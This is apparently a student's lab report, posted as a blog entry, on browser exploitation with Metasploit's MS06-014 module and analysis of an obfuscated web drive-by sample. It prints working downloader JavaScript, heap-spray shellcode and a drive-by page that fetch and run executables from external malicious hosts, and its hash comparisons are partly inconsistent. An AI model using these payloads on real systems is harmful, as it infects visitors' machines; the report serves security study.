20252819 2025-2026-2 《网络攻防实践》第十一周作业

实验十一 Web 浏览器渗透攻击实验

一、实验名称

Web 浏览器渗透攻击与网页挂马分析实验


二、实验目的

  1. 掌握利用 Metasploit 对浏览器漏洞进行攻击的方法。
  2. 熟悉恶意网页木马的构造与利用流程。
  3. 学习网页挂马脚本的分析与解混淆技术。
  4. 理解浏览器 ActiveX 漏洞利用机制及恶意程序下载过程。
  5. 提高对网页木马与浏览器攻击行为的安全分析能力。

三、实验环境

1. 攻击机

  • 系统:Kali Linux
  • IP 地址:192.168.180.8
    image

2. 靶机

  • 系统:Windows 2000 Server SP0
  • IP 地址:192.168.180.30
    image

3. 网络环境

  • 两台虚拟机均使用 VMnet8 NAT 网络模式。

四、实验内容


(一)使用 Metasploit 实现浏览器漏洞攻击

1. 启动 Metasploit

在 Kali 中打开终端,进入 root 权限并启动 msfconsole:

sudo su
msfconsole

image
随后搜索 MS06-014 浏览器漏洞模块:

search MS06-014

image

实验中选择模块:

use exploit/windows/browser/ie_createobject

查看模块配置参数:

show options

image


2. 设置 Payload

实验中设置 payload 为 bind shell:

set payload windows/shell/bind_tcp

随后执行攻击:

exploit

image

运行后,Metasploit 会自动生成一个恶意网页 URL,例如:

http://192.168.180.8:8080/Ukcc0JHP

该链接中包含了恶意脚本与漏洞利用代码。


3. 靶机访问恶意网页

在 Windows 2000 靶机中打开 Internet Explorer 浏览器并访问上述 URL。

页面打开后虽然只显示部分字符串,但实际上浏览器已经执行了隐藏在网页中的漏洞利用代码。
image


4. 获取 Shell

回到 Kali 攻击机,查看会话:

sessions

连接已经建立的 session:

sessions -i 1

image

成功进入靶机 shell 后,使用:

ipconfig

image

验证已经获取 Win2K 主机控制权限。

实验结果表明,攻击机已经成功通过浏览器漏洞获取远程 shell。


(二)网页挂马文件分析

1. 分析 start.html

将学习通提供的 start.html 文件复制到 kali中打开

搜索关键字:

new09.htm

image

发现该网页通过相对路径方式调用 new09.htm 文件。

说明真正的恶意逻辑被隐藏在后续页面中,属于典型的网页挂马结构。


2. 分析 new09.htm

由于实验压缩包中缺失该文件,因此参考实验教程进行分析。

推测其核心代码如下:

<script language="javascript" type="text/javascript"
src="http://js.users.51.la/1299644.js"></script>

<iframe width='0' height='0'
src='http://aa.18dd.net/aa/kl.htm'></iframe>

该页面会在后台静默加载远程恶意网页。


3. MD5 分析

使用在线 MD5 工具对恶意 URL 进行加密分析。
打开计算网址 https://www.tooldeer.com/hashcalculator-md5.html ,计算两个 URL 的 MD5 值:
image
image

随后将“网页挂马分析实践”压缩包解压到 Kali 中:

密码:virus

image
根据 MD5 值定位对应文件。
image


(三)恶意脚本解密分析

1. XXTEA 解密

image

实验中发现文件使用如下密钥:

\x73\x63\x72\x69\x70\x74

转换 ASCII 后得到:

script

使用 XXTEA 工具对文件进行解密。https://cycy.fun/xxtea/
image
image

解密后得到大量十六进制编码脚本。

<script> eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")

使用ai转换为java格式

function init(){document.write();} window.onload = init; if(document.cookie.indexOf('OK')==-1){ try{var e; var ado=(document.createElement("object")); ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var as=ado.createobject("Adodb.Stream","") } catch(e){}; finally{ var expires=new Date(); expires.setTime(expires.getTime()+24*60*60*1000); document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString(); if(e!="[object Error]"){ document.write("<script src=http://aa.18dd.net/aa/1.js><\/script>") }else{ try{var f;var storm=new ActiveXObject("MPS.StormPlayer");} catch(f){}; finally{ if(f!="[object Error]"){ document.write("<script src=http://aa.18dd.net/aa/b.js><\/script>") } } try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtl.1");} catch(g){}; finally{ if(g!="[object Error]"){ document.write("<script src=http://aa.18dd.net/aa/pps.js><\/script>") } } try{var h;var obj=new ActiveXObject("BaiduBar.Tool");} catch(h){}; finally{ if(h!="[object Error]"){ obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0) } } } } }

2. JavaScript 行为分析

经过转换后可以发现:

  • 页面会自动执行恶意脚本;
  • 检测浏览器 Cookie 是否已经感染;
  • 利用多个 ActiveX 控件漏洞;
  • 自动下载恶意程序,根据探测结果尝试加载对应远程恶意脚本( http://aa.18dd.net/aa/1.js 、b.js、pps.js)或下载恶意可执行文件( http://down.18dd.net/bb/bd.cab );
  • 通过空 catch 语句避免脚本中断。

脚本主要加载以下恶意资源:

http://aa.18dd.net/aa/1.js      5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js      3870c28cc279d457746b3796a262f166 
http://aa.18dd.net/aa/pps.js    5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab  1c1d7b3539a617517c49eee4120783b2

这些 URL 对应不同漏洞利用代码。
分别对四个恶意脚本或可执行文件进行MD5加密。
image
image
image
image
①打开5d7e9058a857aa2abee820d5473c5fa4文件查看内容。
image
转换为字符串

var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open ("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close ();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

该文件调用了 http://down.18dd.net/bb/014.exe ,再用md5加密,结果为ca4e4a1730b0f69a9b94393d9443b979
image

②打开文件3870c28cc279d457746b3796a262f166查看内容,可以看出,该文件应该是使用了 packed 加密。
image

对3870c28cc279d457746b3796a262f166文件进行解密使用packed解密。
网页常用加密解密工具箱 - 工具猫
对固定斜杠符号"/"(对应16进制也就是2F)进行定位,发现可疑之处为%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000。对其进行解码得到FileAth: http://down.18dd.net/bb/bb.exe 。完整URL为 http://down.18dd.net/bb/bf.exe 。表明该shellcode的功能是从这个URL地址下载一个名为bf.exe的可执行文件。
image
解密结果为

var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)

再对http://down.18dd.net/bb/bf.exe用md5加密
结果为268cbd59fbed235f6cf6b41b92b03f8e
image

③打开文件5f0b8bf0385314dbe0e5ec95e6abedc2,其为八进制文件,字符串转换为javascript。
image
image
将其转为文本

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

对固定斜杠符号"/"(对应16进制也就是2F)进行定位
发现可疑之处为

%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065

image
解密得到FileAhttp://down.18dd.net/bb/pps.exe
④打开1c1d7b3539a617517c49eee4120783b2文件,发现里面是bd.exe 解压该压缩文件
image


(四)恶意文件分析

总结四个漏洞并且进行MD5加密。
MD5(http://down.18dd.net/bb/014.exe)=ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe)=268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe)=ff59b3b8961f502289c1b4df8c37e2a4
bd.exe
image

计算前三个的散列值,发现三个结果一样,都为1290ecd734d68d52318ea9016dc6fe63 268cbd59fbed235f6cf6b41b92b03f8e。可以猜测第四个漏洞的散列值也跟前三个一样。因此四个文件是一样的。

任意选取一个文件进行分析,选择分析 pps.exe
使用WinXP自带的超级巡警脱壳工具进行脱壳再随后使用IDA工具对该文件进行分析,可以发现,该可执行文件下载了大量的木马可执行文件
pps.exe路径 网页挂马分析实践->original
使用vxattacker 的ida 所有程序->反汇编
image
定位到start(view->graph) 查看流程图,看到其中有dword字段为注册表的键值,该程序进行注册表的修改和删除操作;
image

(五)攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
在kali虚拟机里面启动metasploit,再部署攻击载荷。构造出恶意网页木马脚本。
msfconsole
search firefox
use exploit/windows/browser/ie_createobject
show options
set payload windows/shell/bind_tcp
exploit
image
image
image


(六)恶意网页源码分析

在靶机访问恶意页面后,查看网页源代码。
image
在Win2K靶机上,访问这个地址,查看源文件查看网址网页源代码,看到有很多空格和间隔,猜测是为了躲过杀毒软件的检查

  • 页面中存在大量空格与无意义变量;
  • 使用 JavaScript 混淆技术;
  • 通过 document.location 加载 payload;
  • 动态生成恶意 exe 文件名。
sessions
sessions -i 1
ipconfig

image

使用html压缩工具。压缩后的代码如下。

<html><head><title></title><script language="javascript">function weqAGJeEQtXcabkVwgDSxQqxYeKR(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function lUUEpMXifgsGkCKAUYexnYw(a){var s=weqAGJeEQtXcabkVwgDSxQqxYeKR(a,"WScript.Shell");var o=weqAGJeEQtXcabkVwgDSxQqxYeKR(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\HQwFeCZLlYDPl.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function EqeTTpAWavNcDK(){var i=0;var t=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){var a=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=weqAGJeEQtXcabkVwgDSxQqxYeKR(a,"WScript.Shell");if(b){lUUEpMXifgsGkCKAUYexnYw(a);return(0)}}catch(e){}}i++}}</script></head><body onload='EqeTTpAWavNcDK()'>HQlYLf</body></html>

可以看到 js 代码中调用 document.location 加载了 payload,并且可以看到可执行文件HQwFeCZLlYDPl.exe,猜测是以攻击机为服务器的可执行文件,通过网页下载到靶机上,且每次加载恶意网页生成变化的可执行文件名
在运行输入taskmgr打开任务管理器查找到改进程
image


(七)漏洞分析

实验中主要利用了 ActiveX 相关漏洞。

其中:

BD96C556-65A3-11D0-983A-00C04FC29E36

对应漏洞:

MS06-014

image

攻击流程如下:

  1. 构造恶意网页;
  2. 用户访问恶意链接;
  3. 浏览器自动执行脚本;
  4. 利用 ActiveX 漏洞;
  5. 下载木马程序;
  6. 获取系统控制权限。

五、实验总结

通过本次网页挂马分析与浏览器漏洞利用实验,我对 Web 浏览端攻击的整体流程有了更加系统和深入的认识。以前对于“网页挂马”“浏览器漏洞攻击”等内容大多停留在理论层面,而这次实验则完整体验了从漏洞利用、恶意网页生成,到木马下载执行、Shell 获取以及恶意代码分析的全过程,对网络攻击的真实方式有了更直观的理解。

在实验前半部分,我学习并实践了使用 Metasploit 对浏览器漏洞进行攻击。通过配置 exploit 模块和 payload,成功构造了恶意网页,并诱导 Win2K 靶机访问,从而建立会话获取 Shell 权限。整个过程让我认识到,旧版本浏览器和系统在缺少安全补丁的情况下非常容易被远程利用,攻击者甚至不需要用户主动下载文件,仅通过访问网页就可能导致系统被控制。这也说明了浏览器安全更新的重要性,以及企业环境中及时修复漏洞的必要性。

在网页挂马分析阶段,我进一步学习了恶意 JavaScript 的分析方法。实验中的脚本经过了多层混淆处理,包括十六进制编码、Unicode 编码、eval 动态执行以及 packed 加密等方式。通过不断解码和还原,我逐步分析出了脚本的真实行为,包括 Cookie 判断、Heap Spray 堆喷射、ActiveX 对象调用以及远程下载恶意程序等操作。整个分析过程让我体会到,恶意代码作者通常会通过各种混淆手段来增加分析难度,从而逃避杀毒软件和安全研究人员的检测。

此外,我还学习了 Shellcode 的相关知识。实验中出现的大量 unescape("%u9090...") 代码,本质上是利用浏览器漏洞执行机器指令。通过分析这些 Shellcode,可以发现攻击脚本会主动下载远程 EXE 文件并执行,从而完成木马植入。以前对 Heap Spray 的理解比较抽象,而通过这次实验,我真正理解了它的目的就是通过大量填充内存,提高漏洞利用成功率,使 Shellcode 更容易被执行。

在分析 ActiveX 漏洞时,我了解到许多旧版 IE 浏览器组件存在严重安全问题。实验脚本会自动检测多个 CLSID 对象是否存在,一旦目标系统支持这些危险组件,就会继续执行漏洞利用代码。尤其是实验中涉及的 MS06-014 漏洞,让我意识到 ActiveX 在历史上确实是 Windows 浏览器安全的重要隐患。攻击者正是利用这些组件拥有较高系统权限的特点,实现远程代码执行。

后续使用 IDA 对恶意程序进行静态分析时,我进一步认识到木马程序的实际行为不仅仅是“获取控制权”这么简单,它还会修改注册表、创建启动项、下载其他恶意程序,甚至具备持续驻留系统的能力。这说明真实攻击往往是多阶段的,网页挂马只是最开始的入口,后续还可能包括后门植入、权限维持、信息窃取等一系列恶意操作。

通过整个实验,我最大的收获不仅是掌握了具体的攻击与分析方法,更重要的是提高了自己的安全意识。我认识到:

  • 浏览器、插件以及操作系统补丁必须及时更新;
  • 不应随意点击陌生链接或打开可疑网页;
  • 企业环境中需要关闭高风险 ActiveX 组件;
  • 对网页脚本、邮件附件等内容必须进行严格检测;
  • 安全设备除了病毒查杀,还需要具备行为检测能力。

总体来说,本次实验将浏览器漏洞利用、网页挂马、恶意脚本分析以及木马逆向分析等多个知识点结合在一起,使我对 Web 安全攻击链有了更加完整的认识,也进一步提升了自己在网络攻防与恶意代码分析方面的实践能力。

posted @ 2026-05-29 10:38  nepenthe词不达意  阅读(40)  评论(0)    收藏  举报